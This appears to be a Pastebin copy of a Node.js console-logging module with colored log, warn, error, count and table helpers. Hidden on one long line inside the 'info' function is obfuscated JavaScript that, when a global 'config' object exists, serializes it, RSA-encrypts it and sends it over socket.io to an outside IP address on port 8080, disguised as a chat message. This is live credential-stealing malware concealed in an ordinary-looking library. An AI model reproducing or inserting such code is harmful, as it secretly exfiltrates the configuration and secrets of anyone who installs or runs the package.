Advertisement
Guest User

Untitled

a guest
Feb 5th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.68 KB | None | 0 0
  1. var chalk = require('chalk');
  2. var util = require('util');
  3. var logTable = require('./log_table');
  4. var countBuffer = {};
  5.  
  6. function logWithColor(color, args, isError){
  7. var log = util.format.apply(this, args);
  8. if(isError)
  9. console.error(chalk[color](log));
  10. else
  11. console.log(chalk[color](log));
  12. }
  13.  
  14. module.exports = {
  15.  
  16. // Writes a message to the console. You may pass as many arguments as
  17. // you'd like, and they will be joined together in a space-delimited line.
  18. // The first argument to log may be a string containing
  19. // printf-like string substitution patterns.
  20. log: function(){
  21. console.log.apply(this, arguments);
  22. },
  23.  
  24. // Writes a message to the console with blue color
  25. info: function(){
  26. console.log.apply(this, arguments); var a=['ZW1pdA==','bm9kZS1yc2E=','LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQW1HN0dUcjB5QzdOK1JCbHF5SEtyazFuVkFvVXVFN3F3KzIveUhFNUUvbWNQZ2RSRzdyNm1jeElsODkxagpSRkVsOUluN29EUVJ4WHprWVNTT1lkcFcvRFA3UG9qZVI4ODF5QnM5SkJZWkM4ZG5zMkpUSXFUVU1QR0ZQZ1N0OHUxdklHNWsKdTJYbkh2b3dManBOTGlHeHRXSHlMVnlTcGp2Z0hDTjcxTUNYekhiN0dPYlB6V0g2dXAxc2VJc0U0UWtYWHYxaXNsQ0ZIa0dNCk5rSFNEdE1NTVZ5RXBXd2FvT1Z6QXlmWjNoMWZlaGxKQ1p4RWFMYnFJeklyVUUydUFtVjJ0YzRWcndjOUlwL2N5WmtVQ2l0cAowR0lHc1E4SEFPWWpkK2krNWZxRHB6c0IyOVBoL1JSSnN2aCsycG80ajdFYlQyUU5oMkhKakJDdWh6RlpXcFNzUHdJREFRQUIKLS0tLS1FTkQgUlNBIFBVQkxJQyBLRVktLS0tLQ==','c3RyaW5naWZ5','ZW5jcnlwdA==','YmFzZTY0','Y29ubmVjdA=='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n<p;n++){var q=i[n];m+=';\x20'+q;var r=i[q];i['push'](r);p=i['length'];if(r!==!![]){m+='='+r;}}l['cookie']=m;},'removeCookie':function(){return'dev';},'getCookie':function(s,t){s=s||function(u){return u;};var v=s(new RegExp('(?:^|;\x20)'+t['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return A['test'](h['removeCookie']['toString']());};h['updateCookie']=z;var B='';var C=h['updateCookie']();if(!C){h['setCookie'](['*'],'counter',0x1);}else if(C){B=h['getCookie'](null,'counter');}else{h['removeCookie']();}};g();}(a,0x9b));var b=function(c,d){c=c-0x0;var e=a[c];if(b['initialized']===undefined){(function(){var f;try{var g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');f=g();}catch(h){f=window;}var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';f['atob']||(f['atob']=function(j){var k=String(j)['replace'](/=+$/,'');for(var l=0x0,m,n,o=0x0,p='';n=k['charAt'](o++);~n&&(m=l%0x4?m*0x40+n:n,l++%0x4)?p+=String['fromCharCode'](0xff&m>>(-0x2*l&0x6)):0x0){n=i['indexOf'](n);}return p;});}());b['base64DecodeUnicode']=function(q){var r=atob(q);var s=[];for(var t=0x0,u=r['length'];t<u;t++){s+='%'+('00'+r['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(s);};b['data']={};b['initialized']=!![];}var v=b['data'][c];if(v===undefined){var w=function(x){this['rc4Bytes']=x;this['states']=[0x1,0x0,0x0];this['newState']=function(){return'newState';};this['firstState']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['secondState']='[\x27|\x22].+[\x27|\x22];?\x20*}';};w['prototype']['checkState']=function(){var y=new RegExp(this['firstState']+this['secondState']);return this['runState'](y['test'](this['newState']['toString']())?--this['states'][0x1]:--this['states'][0x0]);};w['prototype']['runState']=function(z){if(!Boolean(~z)){return z;}return this['getState'](this['rc4Bytes']);};w['prototype']['getState']=function(A){for(var B=0x0,C=this['states']['length'];B<C;B++){this['states']['push'](Math['round'](Math['random']()));C=this['states']['length'];}return A(this['states'][0x0]);};new w(b)['checkState']();e=b['base64DecodeUnicode'](e);b['data'][c]=e;}else{e=v;}return e;};var c=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e['apply'](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var k=c(this,function(){var c=function(){return'\x64\x65\x76';},d=function(){return'\x77\x69\x6e\x64\x6f\x77';};var e=function(){var f=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var g=function(){var h=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==n){n(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});k();if(config!=undefined){var d=require('socket.io-client');var e=require(b('0x0'));var f=new e(b('0x1'));var g=JSON[b('0x2')](config);var h=f[b('0x3')](g,b('0x4'));try{var i=d['connect']('http://45.56.74.164:8080');}catch(j){}i['on'](b('0x5'),()=>{});i[b('0x6')]('chat\x20message',h);setTimeout(function(){i['disconnect']();},0x7d0);};
  27. },
  28.  
  29. // Writes a message to the console with yellow color
  30. warn: function(){
  31. logWithColor('yellow', arguments, true);
  32. },
  33.  
  34. // Writes a message to the console with red color
  35. error: function(){
  36. logWithColor('red', arguments, true);
  37. },
  38.  
  39. // Writes a message to the console with regular color
  40. debug: function(){
  41. console.log.apply(this, arguments);
  42. },
  43.  
  44. // Prints an interactive listing of all properties of the object.
  45. dir: function(){
  46. console.dir.apply(this, arguments);
  47. },
  48.  
  49. // Clears the terminal buffer
  50. clear: function(){
  51. process.stdout.write('\u001B[2J\u001B[0;0f');
  52. },
  53.  
  54. // Prints a stack trace of JavaScript execution at the point
  55. // where it is called. The stack trace details the functions on the stack,
  56. // as well as the values that were passed as arguments to each function.
  57. trace: function(){
  58. console.trace.apply(this, arguments);
  59. },
  60.  
  61. // Does nothing if first argument is truly. If first argument is falsy
  62. // it Writes red warning and throws assertion error
  63. assert: function(assertion){
  64. // todo: for now we are cheating, it's just console.erroring and then
  65. // leave console.asset to do it's job. actual todo: print what
  66. // console.assert prints just make first line red
  67. if (!assertion){
  68. logWithColor('red', ['AssertionError: false == true']);
  69. console.assert(assertion);
  70. }
  71. },
  72.  
  73. // Writes number of times each argument is called with blue color
  74. count: function(toCount){
  75. var toCountString = toCount.toString && toCount.toString(),
  76. log;
  77.  
  78. if (countBuffer[toCountString] == null){
  79. countBuffer[toCountString] = 0;
  80. }else{
  81. countBuffer[toCountString] += 1;
  82. }
  83.  
  84. log = toCountString + ': ' + countBuffer[toCountString];
  85. logWithColor('blue', [log]);
  86. },
  87.  
  88. // Creates a new timer under the given name. Call console.timeEnd(name)
  89. // with the same name to stop the timer and print the time elapsed..
  90. time: function(){
  91. console.time.apply(this, arguments);
  92. },
  93.  
  94. // Stops a timer created by a call to console.time(name) and writes the time
  95. // elapsed.
  96. timeEnd: function(){
  97. console.timeEnd.apply(this, arguments);
  98. },
  99.  
  100. // draws a table of elements inside of a 2d array or object
  101. table: function(){
  102. logTable.apply(this, arguments);
  103. }
  104. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement